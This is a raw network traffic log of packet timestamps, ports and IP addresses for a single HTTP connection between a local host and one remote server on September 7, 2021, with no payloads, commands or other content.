Sep 7, 2021 16:02:55.797698975 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797707081 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797722101 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797741890 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797749996 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797763109 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797782898 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797784090 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797807932 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797808886 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797830105 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797858953 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797863007 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797879934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797899961 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797919035 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797920942 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797940969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797945023 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.797962904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.797987938 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798012018 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.798012018 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798036098 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798039913 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.798058033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798079014 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798082113 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.798099995 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798121929 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798132896 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.798142910 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798166990 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798187971 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798192024 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.798208952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798222065 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.798229933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798250914 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798253059 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.798269987 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798290968 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798290968 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.798311949 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798335075 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798342943 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.798357010 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798378944 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798379898 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.798399925 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798424006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.798444986 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.798477888 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.802031040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.802058935 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.802144051 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.807403088 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.847012043 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.847037077 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.847055912 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.847074986 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.851399899 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.856808901 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.858164072 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.858184099 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.858319998 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.858472109 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.858505011 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.858531952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.858838081 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.858850956 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.858854055 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.863567114 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.863620043 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.863645077 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.863787889 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.863815069 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.863837004 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.863858938 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.863881111 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.863962889 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.863986969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864012957 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864036083 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864089012 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864126921 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864301920 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864326954 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864346027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864371061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864392996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864564896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864655972 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864681959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864705086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864729881 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864753008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864841938 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864866972 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864890099 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864912987 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864936113 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864963055 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.864986897 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865010023 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865032911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865055084 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865077019 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865098953 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865118027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865143061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865161896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865180969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865200996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865221024 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865240097 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865258932 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865278959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865299940 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865319967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865338087 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865355968 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865484953 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865550995 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865575075 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865596056 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865618944 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865641117 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865664959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865686893 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865709066 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865730047 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865751028 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865771055 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865792036 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865814924 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865842104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865864992 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.865886927 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.867328882 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867347956 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867352009 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867353916 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867357016 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867360115 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867362976 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867367029 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867369890 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867372990 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867374897 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867377996 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867381096 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867383003 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867387056 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867389917 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867393017 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867394924 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867398024 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867400885 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867403984 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867405891 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867408991 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867412090 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867415905 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867419004 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867422104 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867424011 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867425919 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867429018 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867430925 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867434025 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.867435932 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.871534109 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.871563911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.871586084 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.871608019 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.871632099 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.871653080 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.871673107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.871692896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.871718884 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.874644995 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.874984026 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.874994993 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.874998093 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.875000954 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.875004053 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.875053883 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.875075102 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.875096083 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.875133038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.875641108 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.875658035 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.888490915 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.930919886 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.930932999 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.930949926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.930962086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.930977106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.930991888 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.931010008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.931026936 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.931041002 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.931056976 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.932576895 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.932595015 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.932658911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.932689905 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.932708025 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.932725906 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.932743073 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.932759047 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.932776928 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.932795048 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.932813883 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.932832003 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.932849884 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.932868004 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.938606977 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.018455029 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.018517017 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.018573046 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.018600941 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.018637896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.018697977 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.018755913 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.018816948 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.018874884 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.018935919 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.018996000 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.019054890 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.019144058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.019217968 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.019283056 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.019346952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.019406080 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.019464970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.019524097 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.019725084 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.019789934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.019846916 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.019906998 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.019967079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020047903 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020097017 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020147085 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020212889 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020272970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020329952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020390034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020448923 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020507097 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020565987 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020623922 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020687103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020745993 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020806074 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020863056 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020921946 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.020977020 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.021034002 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.021091938 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.021155119 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.021215916 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.021272898 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.021332979 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.021389961 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.021446943 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.021503925 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.021562099 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.021625042 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.021684885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.021739006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.021797895 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.021903038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.023458004 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.023494005 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.023519993 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.025340080 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.026741982 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.026782990 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.026813984 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.026845932 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.026869059 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.026879072 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.026894093 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.026920080 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.026942968 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.026968002 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.026992083 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.027019978 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.027045965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.027070045 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.027095079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.027657032 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.027688026 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.038074970 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.092406034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.092442989 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.092514992 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.092545033 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.093381882 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093410015 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093434095 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093451023 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.093468904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093493938 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093512058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093523979 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.093528032 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.093529940 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093549013 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093553066 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.093565941 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093589067 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093611956 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093626022 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.093633890 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093657017 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093678951 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093691111 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.093702078 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093718052 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.093729019 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093754053 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093755007 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.093776941 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093790054 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.093801022 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093822956 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093832016 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.093844891 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.093867064 CEST	80	49763	5.188.88.63	192.168.2.4
